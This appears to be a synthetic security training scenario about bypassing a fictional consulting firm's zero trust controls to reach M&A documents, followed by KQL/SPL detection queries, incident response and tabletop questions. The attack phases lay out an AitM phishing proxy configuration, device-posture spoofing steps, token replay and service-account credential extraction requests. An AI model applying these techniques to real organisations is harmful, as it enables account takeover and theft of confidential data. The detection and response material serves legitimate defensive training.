SC-098: Zero Trust Architecture Bypass — Operation PHANTOM TRUST¶

Educational Disclaimer¶

Synthetic Environment Only

This scenario uses 100% synthetic data for educational purposes. All IP addresses use RFC 5737 (192.0.2.x, 198.51.100.x, 203.0.113.x) or RFC 1918 (10.x, 172.16.x, 192.168.x) ranges. All domains use *.example.com. All credentials are testuser/REDACTED. No real organizations, infrastructure, or individuals are represented. Offense content is presented exclusively to improve defensive capabilities.

Scenario Overview¶

Field	Detail
ID	SC-098
Category	Zero Trust Security / Identity and Access Management / Lateral Movement
Severity	Critical
ATT&CK Tactics	Initial Access, Credential Access, Defense Evasion, Lateral Movement, Collection
ATT&CK Techniques	T1528 (Steal Application Access Token), T1550.001 (Use Alternate Authentication Material: Application Access Token), T1556.006 (Modify Authentication Process: Multi-Factor Authentication), T1036.005 (Masquerading: Match Legitimate Name or Location), T1210 (Exploitation of Remote Services), T1557 (Adversary-in-the-Middle)
Target Environment	Global consulting firm with 8,500 employees across 14 offices, running a mature zero trust architecture with identity-aware proxy, microsegmentation, continuous device posture assessment, and conditional access policies protecting 340 internal applications
Difficulty	★★★★★
Duration	4-6 hours
Estimated Impact	Compromised credentials of a senior partner; bypassed device posture checks through virtual device spoofing; token replay attack against identity-aware proxy; lateral movement through 4 microsegments via legitimate service accounts; accessed M&A deal room containing 12 confidential acquisition documents worth $2.3B in aggregate deal value; 14-day dwell time before detection

Narrative¶

Meridian Consulting Group, a fictional global management consulting firm at meridian-consulting.example.com, serves Fortune 500 clients across technology, healthcare, and financial services. With 8,500 employees across 14 offices worldwide, Meridian handles highly sensitive client data including M&A strategies, competitive intelligence, and financial projections.

Three years ago, Meridian completed a comprehensive zero trust transformation. Their architecture includes: an identity-aware proxy (similar to BeyondCorp/Zscaler ZPA) that brokers all application access based on identity and context; continuous device posture assessment requiring managed devices with specific OS versions, EDR agents, and disk encryption; microsegmentation dividing the network into 28 trust zones with policy-driven access between segments; conditional access policies evaluating user risk score, device compliance, location, and time-of-day; and a SIEM-integrated identity threat detection platform monitoring for anomalous authentication patterns.

Despite this mature implementation, the architecture has accumulated exceptions. Three service accounts bypass MFA for automated workflows. The identity proxy's token cache uses 4-hour session tokens to reduce authentication friction. Device posture checks evaluate compliance at authentication time but do not continuously re-validate. And five "break-glass" accounts exist for emergency access scenarios, with their MFA seeds stored in a shared HSM accessible to the IT security team.

In March 2026, a nation-state threat actor designated JADE MIRROR targets Meridian to access confidential M&A documents related to a major technology acquisition. The attacker compromises a senior partner's credentials through a targeted adversary-in-the-middle phishing attack, then systematically bypasses each layer of the zero trust architecture to reach the M&A deal room.

Attack Flow¶

graph TD
    A[Phase 1: Credential Theft<br/>AitM phishing captures session token + MFA] --> B[Phase 2: Device Posture Spoofing<br/>Virtual device matches compliance requirements]
    B --> C[Phase 3: Token Replay and Session Hijacking<br/>Replay stolen tokens through identity proxy]
    C --> D[Phase 4: Microsegmentation Traversal<br/>Abuse service account trust relationships]
    D --> E[Phase 5: Data Access and Collection<br/>Access M&A deal room documents]
    E --> F[Phase 6: Detection and Response<br/>Impossible travel + anomalous access triggers alert]

Phase Details¶

Phase 1: Credential Theft -- Adversary-in-the-Middle Phishing¶

ATT&CK Technique: T1557 (Adversary-in-the-Middle), T1528 (Steal Application Access Token)

JADE MIRROR targets Sarah Chen (testuser@meridian-consulting.example.com), a Senior Partner leading Meridian's Technology M&A practice. The attacker uses an adversary-in-the-middle (AitM) phishing framework to intercept both the credentials and the authenticated session token, bypassing MFA in real time.

# Simulated AitM phishing attack (educational only)
# Attacker sets up a transparent reverse proxy phishing page

# Step 1: Reconnaissance on target
# LinkedIn/public sources reveal Sarah Chen is a Senior Partner
# leading Tech M&A practice at Meridian Consulting
# Email: testuser@meridian-consulting.example.com
# Known to use Microsoft 365 and the firm's identity proxy

# Step 2: AitM phishing infrastructure setup
# Attacker registers: meridian-consu1ting.example.com (typosquat)
# SSL certificate obtained via automated CA
# Reverse proxy configured to forward to legitimate IdP

# Phishing proxy configuration (educational only):
{
    "proxy_type": "transparent_reverse",
    "target": "login.meridian-consulting.example.com",
    "phishing_domain": "meridian-consu1ting.example.com",
    "ssl_cert": "lets-encrypt-auto",
    "capture_fields": ["username", "password", "session_token",
                       "mfa_response", "set-cookie"],
    "real_time_relay": true,
    "token_capture": {
        "cookie_names": ["OIDC_SESSION", "ZPA_TOKEN", "JSESSIONID"],
        "header_names": ["Authorization", "X-ZTNA-Token"],
        "capture_oauth_tokens": true
    }
}

# Step 3: Targeted phishing email
# Subject: "URGENT: Updated NDA Required - Project Titan Deal Room Access"
# From: legal-team@meridian-consu1ting.example.com (spoofed)
# Body: "The M&A deal room for Project Titan requires updated NDA
#        signatures. Please sign in to review the updated terms."
# Link: https://meridian-consu1ting.example.com/deal-room/titan

# Step 4: AitM session capture
# Sarah clicks the link and authenticates normally:
# 1. Enters username: testuser@meridian-consulting.example.com
# 2. Enters password: REDACTED
# 3. Approves MFA push notification on her phone (legitimate prompt)
# 4. Identity provider issues OIDC token + session cookies
# 5. AitM proxy captures ALL tokens before forwarding to Sarah

# Captured tokens (educational - all values synthetic):
{
    "captured_at": "2026-03-15T14:22:00Z",
    "victim": "testuser@meridian-consulting.example.com",
    "tokens": {
        "oidc_id_token": "eyJhbGciOiJSUzI1NiJ9.REDACTED",
        "oidc_access_token": "REDACTED",
        "oidc_refresh_token": "REDACTED",
        "zpa_session_token": "REDACTED",
        "session_cookies": {
            "OIDC_SESSION": "REDACTED",
            "ZPA_TOKEN": "REDACTED"
        }
    },
    "token_expiry": "2026-03-15T18:22:00Z",
    "refresh_expiry": "2026-03-22T14:22:00Z"
}

# The AitM proxy captured:
# - OIDC ID token (4-hour validity)
# - OIDC access token (4-hour validity)
# - OIDC refresh token (7-day validity) - critical for persistence
# - ZPA session token (identity-aware proxy session)
# - All session cookies

Phase 2: Device Posture Spoofing -- Virtual Compliance Device¶

ATT&CK Technique: T1036.005 (Masquerading: Match Legitimate Name or Location)

Meridian's zero trust architecture requires device posture compliance: managed device certificate, Windows 11 with specific build, CrowdFalcon EDR agent running, BitLocker enabled, and domain-joined status. JADE MIRROR creates a virtual machine that spoofs all posture attributes to pass the device compliance check at authentication time.

# Simulated device posture spoofing (educational only)
# Attacker creates a VM that passes device compliance checks

# Step 1: Determine required posture attributes from phishing capture
# The AitM proxy also captured the device posture check request/response
# during Sarah's legitimate authentication:

# Device posture requirements (captured):
{
    "posture_policy": "meridian-standard-v3",
    "required_attributes": {
        "os_type": "Windows",
        "os_version": "10.0.26100",
        "os_edition": "Enterprise",
        "domain_joined": true,
        "domain_name": "MERIDIAN.INTERNAL",
        "disk_encryption": "BitLocker",
        "disk_encryption_status": "FullyEncrypted",
        "edr_agent": "CrowdFalcon",
        "edr_agent_version": ">=7.15",
        "edr_agent_status": "Running",
        "device_certificate": "Meridian-Device-CA",
        "last_patch_days": "<=30",
        "firewall_enabled": true
    }
}

# Step 2: Configure virtual machine to match posture requirements
# Attacker builds a Windows 11 Enterprise VM with spoofed attributes

# VM Configuration (educational only):
# - Windows 11 Enterprise 26100 (matching build number)
# - Hostname: WS-MCG-TESTPC (matching Meridian naming convention)
# - Registry modifications to report domain-joined status
# - BitLocker status spoofed via WMI provider manipulation
# - Mock EDR agent service named "CrowdFalcon" (reports healthy)
# - Firewall enabled (legitimate Windows Defender Firewall)

# Registry modifications to spoof domain membership:
# HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
#   Domain = "MERIDIAN.INTERNAL"
#   Hostname = "WS-MCG-TESTPC"
# HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
#   Simulated domain group policy entries

# Step 3: Generate device certificate matching Meridian's CA
# The AitM proxy captured the device certificate subject format:
# CN=WS-MCG-{ASSET_TAG}, OU=Workstations, O=Meridian Consulting
# Issuer: Meridian-Device-CA (internal CA)

# Attacker cannot forge a legitimate Meridian-Device-CA certificate
# BUT: The identity proxy's posture check only validates that a
# certificate with the correct CN format EXISTS, not the full chain
# (misconfiguration - should validate to trusted CA root)

# Self-signed certificate matching expected CN format:
# openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \
#   -days 365 -subj "/CN=WS-MCG-A7829/OU=Workstations/O=Meridian Consulting"
# Certificate installed in Local Machine Personal store

# Step 4: Mock EDR agent
# Create a Windows service named "CrowdFalcon Sensor Service"
# that responds to health check queries with "Running" status
# Service executable: minimal Go binary that listens on expected
# named pipe and returns healthy status JSON

# The posture check evaluates:
# 1. Service "CrowdFalcon" exists and is Running (mock service passes)
# 2. Service version >= 7.15 (mock reports 7.18, passes)
# 3. Device certificate with CN=WS-MCG-* exists (self-signed, passes)
# 4. OS version matches (genuine Windows 11, passes)
# 5. BitLocker status = FullyEncrypted (WMI spoofed, passes)
# 6. Firewall enabled (genuine Windows Firewall, passes)
# 7. Domain = MERIDIAN.INTERNAL (registry spoofed, passes)

# Result: Device posture check PASSES
# The VM appears as a compliant Meridian-managed workstation

Phase 3: Token Replay and Session Hijacking¶

ATT&CK Technique: T1550.001 (Use Alternate Authentication Material: Application Access Token)

With a compliant-appearing device and stolen session tokens, JADE MIRROR replays the captured tokens through the identity-aware proxy to establish an authenticated session as Sarah Chen. The attacker uses the refresh token to maintain persistent access beyond the 4-hour session token expiry.

# Simulated token replay attack (educational only)
# Attacker replays stolen tokens through the identity-aware proxy

# Step 1: Import captured tokens into the spoofed device's browser
# Attacker injects the captured cookies and tokens into a browser
# session on the virtual machine

# Browser cookie injection (educational only):
# Cookie: OIDC_SESSION=REDACTED; domain=.meridian-consulting.example.com
# Cookie: ZPA_TOKEN=REDACTED; domain=.meridian-consulting.example.com
# Header: Authorization: Bearer REDACTED

# Step 2: Access identity-aware proxy with replayed tokens
# The proxy validates:
# 1. OIDC session token valid? Yes (within 4-hour window)
# 2. Token audience matches? Yes (same application)
# 3. Device posture compliant? Yes (spoofed VM passes)
# 4. IP geolocation check? Warning (different IP but same country)
# 5. Risk score acceptable? Yes (Sarah's baseline risk is low)

# Identity proxy grants access to Sarah's application portfolio:
{
    "session": {
        "user": "testuser@meridian-consulting.example.com",
        "role": "Senior Partner - Technology M&A",
        "risk_score": 22,
        "device_compliance": "compliant",
        "access_granted": [
            "email.meridian-consulting.example.com",
            "sharepoint.meridian-consulting.example.com",
            "deals.meridian-consulting.example.com",
            "crm.meridian-consulting.example.com",
            "finance.meridian-consulting.example.com",
            "hr.meridian-consulting.example.com"
        ],
        "mfa_satisfied": true,
        "session_expires": "2026-03-15T18:22:00Z"
    }
}

# Step 3: Use refresh token for persistent access
# When the 4-hour session token expires, the attacker uses
# the captured refresh token to obtain new session tokens
# WITHOUT triggering a new MFA prompt

# Token refresh request (educational only):
POST https://idp.meridian-consulting.example.com/oauth2/token
Content-Type: application/x-www-form-urlencoded

grant_type=refresh_token
&refresh_token=REDACTED
&client_id=meridian-proxy-client
&scope=openid profile email

# Response:
{
    "access_token": "REDACTED",
    "id_token": "REDACTED",
    "refresh_token": "REDACTED",
    "expires_in": 14400,
    "token_type": "Bearer"
}

# New tokens issued without MFA re-authentication
# Refresh token rotation: new refresh token valid for another 7 days
# The attacker can maintain access indefinitely by refreshing tokens
# every 4 hours, as long as the refresh token chain is not revoked

# Step 4: Establish persistent access pattern
# Attacker refreshes tokens during Sarah's normal working hours
# (8 AM - 7 PM Eastern) to blend with legitimate usage patterns
# Access occurs from IP 203.0.113.88 (attacker infrastructure)
# while Sarah's legitimate access is from 198.51.100.10 (office)
# Both sessions coexist - the IdP allows multiple active sessions

Phase 4: Microsegmentation Traversal -- Service Account Abuse¶

ATT&CK Technique: T1210 (Exploitation of Remote Services), T1078.003 (Valid Accounts: Local Accounts)

Meridian's microsegmentation divides the network into 28 trust zones. Sarah's Senior Partner role grants access to the "Corporate" and "Deal Management" segments, but the M&A deal room's most sensitive documents are stored in the "Restricted M&A" segment, which requires additional authorization. JADE MIRROR discovers and exploits service account trust relationships to traverse microsegmentation boundaries.

# Simulated microsegmentation traversal (educational only)
# Attacker moves laterally through zero trust segments

# Step 1: Map accessible segments from Sarah's identity
# Using the identity-aware proxy, the attacker accesses applications
# in Sarah's authorized segments and maps the environment

# Accessible applications and their segments:
# Segment: Corporate (Zone 1)
#   - email.meridian-consulting.example.com (10.10.1.0/24)
#   - sharepoint.meridian-consulting.example.com (10.10.2.0/24)
#   - crm.meridian-consulting.example.com (10.10.3.0/24)

# Segment: Deal Management (Zone 7)
#   - deals.meridian-consulting.example.com (10.10.70.0/24)
#   - Project tracking, deal pipeline, client presentations

# Segment: Restricted M&A (Zone 12) - NOT directly accessible
#   - dealroom.meridian-consulting.example.com (10.10.120.0/24)
#   - Requires "M&A-Restricted" group membership
#   - Additional step-up authentication required
#   - Sarah has group membership but step-up auth blocks replayed tokens

# Step 2: Discover service account in Deal Management segment
# The deals application has an admin panel accessible to Senior Partners

curl -H "Authorization: Bearer REDACTED" \
    https://deals.meridian-consulting.example.com/admin/integrations

{
    "integrations": [
        {
            "name": "DealRoom Sync",
            "type": "service_account",
            "service_account": "svc-dealroom-sync@meridian-consulting.example.com",
            "target": "dealroom.meridian-consulting.example.com",
            "sync_interval": "15m",
            "permissions": ["read", "write", "list"],
            "auth_method": "oauth2_client_credentials",
            "last_sync": "2026-03-15T15:00:00Z",
            "status": "active",
            "mfa_bypass": true
        },
        {
            "name": "CRM Data Feed",
            "type": "service_account",
            "service_account": "svc-crm-feed@meridian-consulting.example.com",
            "target": "crm.meridian-consulting.example.com",
            "auth_method": "api_key"
        }
    ]
}

# CRITICAL FINDING: svc-dealroom-sync service account
# - Has read/write access to the Restricted M&A deal room
# - Uses OAuth2 client credentials (no MFA required)
# - Credentials are stored in the deals application configuration

# Step 3: Extract service account credentials
# Senior Partners have admin access to the deals application
# which includes viewing integration configuration details

curl -H "Authorization: Bearer REDACTED" \
    https://deals.meridian-consulting.example.com/admin/integrations/dealroom-sync/config

{
    "client_id": "svc-dealroom-sync",
    "client_secret": "REDACTED",
    "token_endpoint": "https://idp.meridian-consulting.example.com/oauth2/token",
    "scope": "dealroom.read dealroom.write dealroom.list",
    "audience": "https://dealroom.meridian-consulting.example.com"
}

# Step 4: Authenticate as service account to access Restricted M&A
# Service accounts bypass MFA - this is by design for automation
# but creates a path around the step-up authentication requirement

POST https://idp.meridian-consulting.example.com/oauth2/token
Content-Type: application/x-www-form-urlencoded

grant_type=client_credentials
&client_id=svc-dealroom-sync
&client_secret=REDACTED
&scope=dealroom.read dealroom.write dealroom.list
&audience=https://dealroom.meridian-consulting.example.com

# Response:
{
    "access_token": "REDACTED",
    "token_type": "Bearer",
    "expires_in": 3600,
    "scope": "dealroom.read dealroom.write dealroom.list"
}

# Service account token grants direct access to dealroom
# bypassing microsegmentation controls (Zone 7 to Zone 12)
# because the identity proxy trusts service-to-service tokens
# from the same IdP tenant

Phase 5: Data Access and Collection -- M&A Deal Room¶

ATT&CK Technique: T1213 (Data from Information Repositories), T1119 (Automated Collection)

Using the service account credentials, JADE MIRROR accesses the Restricted M&A deal room and systematically downloads confidential acquisition documents. The attacker accesses documents during the service account's normal sync window to avoid anomaly detection.

# Simulated deal room access (educational only)
# Attacker accesses confidential M&A documents via service account

# Step 1: Enumerate deal rooms and projects
curl -H "Authorization: Bearer REDACTED" \
    https://dealroom.meridian-consulting.example.com/api/v2/rooms

{
    "rooms": [
        {
            "room_id": "DR-2026-001",
            "project_name": "Project Titan",
            "status": "active",
            "deal_value": "$1.2B",
            "target_company": "target-tech.example.com",
            "documents": 847,
            "last_modified": "2026-03-14T22:00:00Z",
            "classification": "STRICTLY CONFIDENTIAL"
        },
        {
            "room_id": "DR-2026-003",
            "project_name": "Project Atlas",
            "status": "active",
            "deal_value": "$680M",
            "target_company": "atlas-health.example.com",
            "documents": 412,
            "last_modified": "2026-03-15T10:30:00Z",
            "classification": "STRICTLY CONFIDENTIAL"
        },
        {
            "room_id": "DR-2026-005",
            "project_name": "Project Horizon",
            "status": "due_diligence",
            "deal_value": "$420M",
            "target_company": "horizon-fin.example.com",
            "documents": 234,
            "last_modified": "2026-03-13T16:45:00Z",
            "classification": "CONFIDENTIAL"
        }
    ],
    "total_rooms": 8
}

# Step 2: Download documents during service account sync windows
# The svc-dealroom-sync account normally syncs every 15 minutes
# Attacker times downloads to coincide with scheduled sync intervals

# Download pattern (educational only):
# - Download 10-15 documents per sync window
# - Match expected sync timing (every 15 minutes)
# - Total documents downloaded over 14 days: 12 key documents
#   from 3 active deal rooms (Titan, Atlas, Horizon)
# - Focus on valuation models, financial statements, and board memos

# Total data exfiltrated:
# - 12 documents from 3 deal rooms
# - Combined size: approximately 48 MB
# - Aggregate deal value of affected transactions: $2.3B
# - Material non-public information with insider trading implications

Phase 6: Detection and Response¶

The attack is eventually detected after 14 days when a security analyst investigating unrelated alerts notices the service account svc-dealroom-sync authenticating from an IP address outside the expected Kubernetes cluster network, combined with an impossible travel alert on Sarah Chen's account showing simultaneous sessions from two different cities.

# Simulated detection timeline (educational only)

[2026-03-29 09:15:00 UTC] ALERT: Impossible travel detected
  User: testuser@meridian-consulting.example.com
  Session 1: 198.51.100.10 (New York office) - active
  Session 2: 203.0.113.88 (unknown location) - active
  Time between locations: 0 minutes (concurrent)
  Risk score elevated: 22 to 85

[2026-03-29 09:30:00 UTC] ALERT: Service account anomalous source IP
  Account: svc-dealroom-sync@meridian-consulting.example.com
  Expected source: 10.10.70.0/24 (Deal Management segment)
  Actual source: Identity proxy session from 203.0.113.88
  Normal behavior: OAuth2 client_credentials from K8s pod
  Anomaly: Token obtained via proxy session, not direct client_credentials

[2026-03-29 10:00:00 UTC] ESCALATION: P1 incident declared
  - Both alerts correlated - same external IP 203.0.113.88
  - Sarah Chen's account + dealroom-sync service account compromised
  - Incident Commander assigned, identity team and M&A leadership notified

Detection Queries¶

// KQL -- Detect impossible travel / concurrent sessions
SigninLogs
| where TimeGenerated > ago(14d)
| where ResultType == 0
| extend GeoInfo = geo_info_from_ip_address(IPAddress)
| extend City = tostring(GeoInfo.city), Country = tostring(GeoInfo.country)
| summarize SessionIPs = make_set(IPAddress),
            SessionCities = make_set(City),
            SessionCount = dcount(IPAddress),
            FirstSeen = min(TimeGenerated),
            LastSeen = max(TimeGenerated)
  by UserPrincipalName, bin(TimeGenerated, 1h)
| where SessionCount > 1
| extend CityCount = array_length(SessionCities)
| where CityCount > 1
| project TimeGenerated, UserPrincipalName, SessionIPs,
          SessionCities, SessionCount

// KQL -- Detect token replay (refresh token from new device)
AADNonInteractiveUserSignInLogs
| where TimeGenerated > ago(14d)
| where ResultType == 0
| where AuthenticationProcessingDetails contains "refresh_token"
| extend DeviceId = tostring(DeviceDetail.deviceId)
| extend DeviceName = tostring(DeviceDetail.displayName)
| extend OS = tostring(DeviceDetail.operatingSystem)
| summarize RefreshCount = count(),
            UniqueDevices = dcount(DeviceId),
            Devices = make_set(DeviceName),
            IPs = make_set(IPAddress)
  by UserPrincipalName, bin(TimeGenerated, 4h)
| where UniqueDevices > 1
| project TimeGenerated, UserPrincipalName, RefreshCount,
          UniqueDevices, Devices, IPs

// KQL -- Detect service account authentication from unexpected sources
AADServicePrincipalSignInLogs
| where TimeGenerated > ago(14d)
| where ServicePrincipalName contains "svc-"
| where ResultType == 0
| extend SourceIP = IPAddress
| where not(SourceIP startswith "10.") and not(SourceIP startswith "172.16.")
| project TimeGenerated, ServicePrincipalName, SourceIP,
          ResourceDisplayName, AppDisplayName,
          tostring(LocationDetails.city),
          tostring(LocationDetails.countryOrRegion)

// KQL -- Detect device posture anomalies (new device with perfect compliance)
DeviceComplianceLogs
| where TimeGenerated > ago(14d)
| where ComplianceState == "Compliant"
| extend DeviceAge = datetime_diff('day', TimeGenerated, DeviceRegistrationDate)
| where DeviceAge < 1
| where ComplianceCheckResult == "AllChecksPassed"
| project TimeGenerated, DeviceName, DeviceId, UserPrincipalName,
          DeviceAge, ComplianceCheckResult, DeviceRegistrationDate,
          OperatingSystem, OperatingSystemVersion

// KQL -- Detect anomalous deal room access patterns
AuditLogs
| where TimeGenerated > ago(14d)
| where TargetResources has "dealroom"
| where ActivityDisplayName in ("Download document", "View document", "List rooms")
| extend Actor = tostring(InitiatedBy.user.userPrincipalName)
| where Actor contains "svc-dealroom-sync"
| summarize ActionCount = count(),
            UniqueDocuments = dcount(tostring(TargetResources[0].id)),
            Actions = make_set(ActivityDisplayName)
  by Actor, bin(TimeGenerated, 15m)
| where ActionCount > 20 or UniqueDocuments > 10
| project TimeGenerated, Actor, ActionCount, UniqueDocuments, Actions

# SPL -- Detect impossible travel / concurrent sessions
index=azure_ad sourcetype=azure:signinlogs
  result_type=0
| iplocation src_ip
| bin _time span=1h
| stats values(src_ip) as session_ips,
        values(City) as session_cities,
        dc(src_ip) as session_count,
        min(_time) as first_seen,
        max(_time) as last_seen
  by user_principal_name, _time
| where session_count > 1
| eval city_count = mvcount(session_cities)
| where city_count > 1
| table _time, user_principal_name, session_ips,
        session_cities, session_count

# SPL -- Detect token replay (refresh token from new device)
index=azure_ad sourcetype=azure:aad_non_interactive
  result_type=0 authentication_processing="*refresh_token*"
| spath output=device_id path=deviceDetail.deviceId
| spath output=device_name path=deviceDetail.displayName
| bin _time span=4h
| stats count as refresh_count,
        dc(device_id) as unique_devices,
        values(device_name) as devices,
        values(src_ip) as ips
  by user_principal_name, _time
| where unique_devices > 1
| table _time, user_principal_name, refresh_count,
        unique_devices, devices, ips

# SPL -- Detect service account authentication from unexpected sources
index=azure_ad sourcetype=azure:aad_sp_signinlogs
  result_type=0 service_principal_name="svc-*"
  NOT src_ip="10.*" NOT src_ip="172.16.*"
| spath output=city path=locationDetails.city
| spath output=country path=locationDetails.countryOrRegion
| table _time, service_principal_name, src_ip,
        resource_display_name, app_display_name, city, country

# SPL -- Detect device posture anomalies (new device with perfect compliance)
index=device_compliance sourcetype=intune:compliance
  compliance_state="Compliant" compliance_check_result="AllChecksPassed"
| eval device_age = round((now() - strptime(device_registration_date,
        "%Y-%m-%dT%H:%M:%S")) / 86400, 1)
| where device_age < 1
| table _time, device_name, device_id, user_principal_name,
        device_age, compliance_check_result, device_registration_date,
        operating_system, os_version

# SPL -- Detect anomalous deal room access patterns
index=azure_ad sourcetype=azure:auditlogs
  target_resources="*dealroom*"
  activity IN ("Download document", "View document", "List rooms")
| spath output=actor path=initiatedBy.user.userPrincipalName
| search actor="*svc-dealroom-sync*"
| bin _time span=15m
| stats count as action_count,
        dc(target_resource_id) as unique_documents,
        values(activity) as actions
  by actor, _time
| where action_count > 20 OR unique_documents > 10
| table _time, actor, action_count, unique_documents, actions

Incident Response:

# Simulated incident response (educational only)
[2026-03-29 10:00:00 UTC] ALERT: Zero Trust Bypass incident response activated

[2026-03-29 10:05:00 UTC] ACTION: Immediate containment
  - Revoke ALL tokens for testuser@meridian-consulting.example.com
  - Revoke ALL tokens for svc-dealroom-sync service account
  - Block IP 203.0.113.88 at identity proxy and WAF
  - Force re-authentication for all Senior Partner accounts
  - Disable svc-dealroom-sync service account pending investigation
  - Invalidate all active refresh tokens for the IdP tenant

[2026-03-29 10:30:00 UTC] ACTION: Device and identity investigation
  - Identify spoofed device WS-MCG-A7829 - not in asset inventory
  - Revoke device certificate for WS-MCG-A7829
  - Enable continuous device posture re-validation (every 15 minutes)
  - Enforce device certificate chain validation to Meridian-Device-CA root
  - Audit all device certificates issued in the last 30 days

[2026-03-29 11:00:00 UTC] ACTION: Zero trust architecture hardening
  - Implement token binding (DPoP - Demonstrating Proof of Possession)
  - Require hardware security key (FIDO2) for step-up authentication
  - Implement continuous access evaluation (CAE) for real-time token revocation
  - Add service account source IP restrictions (Kubernetes pod CIDR only)
  - Remove service account credentials from application admin panels
  - Migrate service accounts to workload identity federation (no stored secrets)
  - Reduce refresh token lifetime from 7 days to 8 hours
  - Enable concurrent session limits (max 2 active sessions per user)

[2026-03-29 14:00:00 UTC] ACTION: Impact assessment
  Documents accessed: 12 (from 3 deal rooms)
  Deal rooms affected: Project Titan ($1.2B), Project Atlas ($680M),
    Project Horizon ($420M) - total deal value at risk: $2.3B
  Data classification: STRICTLY CONFIDENTIAL
  Dwell time: 14 days (credential theft to detection)
  Root cause: AitM phishing bypassed MFA; device posture check lacked
    certificate chain validation; service account MFA exemption created
    microsegmentation bypass path; refresh token lifetime too long
  Regulatory impact: SEC notification required (material non-public
    information); client notification required; legal hold on all
    communications related to affected deals
  Business impact: All 3 deals suspended pending security review;
    potential SEC investigation for insider trading if data was traded on

Decision Points (Tabletop Exercise)¶

Decision Point 1 -- MFA-Resistant Authentication

Your organization uses push-notification MFA, which was bypassed by the AitM attack. What MFA mechanisms are resistant to AitM attacks? How do you evaluate the trade-off between FIDO2 hardware keys (phishing-resistant but higher friction) and push notifications (convenient but AitM-vulnerable) for different user populations?

Decision Point 2 -- Service Account Governance

The svc-dealroom-sync service account bypassed MFA and microsegmentation controls by design. How do you implement service account governance that maintains automation capabilities while preventing abuse? Consider: workload identity federation, just-in-time service account credentials, source IP restrictions, and behavioral baselines.

Decision Point 3 -- Continuous vs. Point-in-Time Posture Assessment

Device posture was evaluated only at authentication time, allowing a spoofed VM to pass once and maintain access. How do you implement continuous posture assessment that detects device changes post-authentication? What is the performance and user experience impact of re-evaluating posture every 15 minutes versus every 4 hours?

Decision Point 4 -- Deal Suspension Decision

After confirming M&A documents were exfiltrated, you must decide whether to suspend active deals (protecting against insider trading liability) or continue them (avoiding $2.3B in business disruption). What factors drive this decision, and who has the authority to make it?

Lessons Learned¶

Key Takeaways

Push-notification MFA is vulnerable to AitM attacks -- Adversary-in-the-middle phishing proxies can capture session tokens after the user completes MFA, rendering push notifications and TOTP codes ineffective. FIDO2/WebAuthn hardware keys with origin binding are the only MFA mechanism that defeats AitM at the protocol level. Organizations handling highly sensitive data should mandate phishing-resistant MFA.
Device posture must validate certificate chains, not just certificate presence -- Checking that a device certificate exists with the correct CN format is insufficient. Posture checks must validate the full certificate chain to a trusted internal CA, verify the certificate serial number against the CA's issuance log, and cross-reference with the asset management database.
Service accounts are the Achilles' heel of zero trust -- MFA exemptions for service accounts create paths around authentication controls. Service accounts with stored credentials (client secrets, API keys) that can be extracted from application configurations undermine microsegmentation. Organizations should migrate to workload identity federation (SPIFFE/SPIRE, Azure Managed Identities, GCP Workload Identity) where credentials are ephemeral and bound to specific workloads.
Refresh tokens extend compromise duration exponentially -- A 7-day refresh token lifetime means a single captured token provides 7 days of persistent access without re-authentication. Organizations should minimize refresh token lifetimes, implement refresh token rotation with replay detection, and enable continuous access evaluation (CAE) for real-time token revocation.
Concurrent session monitoring detects token replay -- When a legitimate user and an attacker both hold valid tokens for the same account, concurrent session detection (impossible travel, multiple active sessions from different IPs/devices) is often the first detection opportunity. This requires correlating authentication events across the identity provider, identity-aware proxy, and application logs.
Zero trust is a journey, not a destination -- Exception accumulation (MFA-exempt service accounts, broad refresh token lifetimes, point-in-time posture checks) gradually erodes zero trust guarantees. Regular architecture reviews should explicitly audit all exceptions, quantify their risk, and drive remediation.

MITRE ATT&CK Mapping¶

Technique ID	Technique Name	Phase
T1557	Adversary-in-the-Middle	Initial Access (AitM phishing proxy)
T1528	Steal Application Access Token	Credential Access (session token capture)
T1550.001	Use Alternate Authentication Material: Application Access Token	Defense Evasion (token replay)
T1036.005	Masquerading: Match Legitimate Name or Location	Defense Evasion (device posture spoofing)
T1078.003	Valid Accounts: Local Accounts	Lateral Movement (service account abuse)
T1210	Exploitation of Remote Services	Lateral Movement (microsegmentation traversal)
T1213	Data from Information Repositories	Collection (deal room document access)
T1556.006	Modify Authentication Process: MFA	Defense Evasion (MFA bypass via AitM)

Review Questions¶

Question 1

Compare the AitM phishing attack in this scenario with traditional credential phishing. Why does AitM defeat TOTP and push-notification MFA, and how does FIDO2/WebAuthn's origin binding prevent this attack at the protocol level?

Question 2

The attacker traversed microsegmentation by abusing a service account with MFA exemption. Design a service account architecture using workload identity federation (SPIFFE/SPIRE) that eliminates stored credentials and binds service identity to specific Kubernetes workloads.

Question 3

What continuous access evaluation (CAE) signals would have detected this attack earlier than 14 days? Design a CAE policy that evaluates device compliance changes, concurrent sessions, and service account behavioral anomalies in real time.

Question 4

The organization's zero trust architecture accumulated exceptions over 3 years (MFA-exempt service accounts, long refresh token lifetimes, point-in-time posture checks). Design a quarterly zero trust exception review process that quantifies risk and drives remediation.